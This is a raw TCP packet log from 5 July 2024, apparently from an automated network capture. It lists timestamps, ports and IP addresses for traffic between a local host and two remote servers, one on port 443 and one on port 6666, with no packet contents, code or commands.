Jul 5, 2024 07:33:05.875330925 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.875371933 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.884253025 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.884274006 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.884345055 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.884354115 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.884391069 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.894001007 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.894020081 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.894066095 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.894071102 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.894097090 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.894112110 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.899090052 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.899125099 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.899152040 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.899156094 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.899184942 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.899208069 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.904973984 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.904989958 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.905054092 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.905061007 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.905102968 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.939223051 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.939239025 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.939301968 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.939308882 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.939347982 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.948539972 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.948554993 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.948620081 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.948626995 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.948668957 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.956010103 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.956026077 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.956067085 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.956106901 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.956113100 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.956140995 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:05.956150055 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.956185102 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.956501007 CEST	49730	443	192.168.2.4	159.75.57.35
Jul 5, 2024 07:33:05.956511974 CEST	443	49730	159.75.57.35	192.168.2.4
Jul 5, 2024 07:33:08.208405018 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:08.213610888 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:08.213716984 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:08.224440098 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:08.229409933 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.129539967 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.136687994 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.141716957 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.141752005 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.141781092 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450090885 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450129986 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450201035 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.450202942 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450237036 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450284958 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.450289965 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450325966 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450359106 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450371981 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.450393915 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450426102 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450443029 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.450459957 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.450508118 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.450615883 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.455564976 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.455621958 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.455636024 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.455657959 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.455704927 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.660881042 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.660919905 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.660959005 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661016941 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661060095 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661097050 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661132097 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661161900 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.661161900 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.661168098 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661180019 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.661223888 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.661310911 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661344051 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661377907 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661396027 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.661412001 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.661463022 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.662019968 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662075043 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662107944 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662194014 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.662199974 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662235022 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662261963 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.662267923 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.662324905 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.663288116 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.663341045 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.663374901 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.663397074 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.663445950 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.663503885 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871095896 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871134043 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871191025 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871225119 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871278048 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871311903 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871319056 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871319056 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871345997 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871350050 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871819019 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871876955 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871879101 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871915102 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871965885 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.871967077 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.871999979 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.872037888 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.872054100 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.872657061 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.872710943 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.872729063 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.872764111 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.872811079 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.873001099 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873054981 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873090029 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873101950 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.873183012 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873218060 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873233080 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.873253107 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.873298883 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.873995066 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874043941 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874095917 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874098063 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.874130011 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874165058 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874176979 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.874205112 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874252081 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.874766111 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874799013 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874845028 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.874849081 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874890089 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874922037 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:09.874942064 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:09.923052073 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.081779003 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.081862926 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.081913948 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.081949949 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082001925 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082035065 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082035065 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082037926 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082087040 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082091093 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082125902 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082159996 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082195044 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082195997 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082241058 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082355022 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082390070 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082431078 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082444906 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082799911 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082848072 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082855940 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082870960 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.082921028 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.082995892 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083030939 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083065033 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083093882 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.083101988 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083151102 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.083225012 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083272934 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083306074 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083314896 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.083873034 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083905935 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083930969 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.083940029 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.083985090 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084041119 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084074974 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084109068 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084121943 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084146023 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084192038 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084271908 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084305048 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084340096 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084362030 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084721088 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084769964 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084842920 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084894896 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084929943 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084961891 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.084975004 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.084996939 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085014105 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085036993 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085088968 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085133076 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085180044 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085215092 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085227966 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085741997 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085774899 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085792065 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085809946 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085854053 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085863113 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085896969 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085930109 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.085941076 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.085966110 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.086010933 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.086087942 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.126178026 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294399023 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294440985 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294497013 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294543982 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294579983 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294612885 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294631004 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294631004 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294647932 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294656992 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294796944 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294831038 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294842958 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294866085 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294898033 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294912100 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.294934034 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294966936 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.294980049 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295017004 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295052052 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295068026 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295175076 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295226097 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295228958 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295263052 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295311928 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295375109 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295408010 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295442104 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295452118 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295480013 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295535088 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295677900 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295711040 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295746088 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295754910 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295780897 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295814991 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295849085 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295871019 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295883894 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295900106 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.295918941 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.295965910 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296062946 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296118021 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296152115 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296166897 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296266079 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296313047 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296314955 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296346903 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296381950 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296396971 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296572924 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296607018 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296626091 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296654940 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296709061 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296724081 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296744108 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296778917 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296791077 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296813965 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296852112 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296861887 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296931982 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.296981096 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.296999931 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297033072 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297079086 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297372103 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297425985 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297458887 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297472000 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297493935 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297528028 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297539949 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297560930 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297593117 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297599077 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297640085 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297672987 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297684908 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297707081 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297741890 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297750950 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297779083 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297827005 CEST	49731	6666	192.168.2.4	206.238.115.146
Jul 5, 2024 07:33:10.297878027 CEST	6666	49731	206.238.115.146	192.168.2.4
Jul 5, 2024 07:33:10.297918081 CEST	6666	49731	206.238.115.146	192.168.2.4
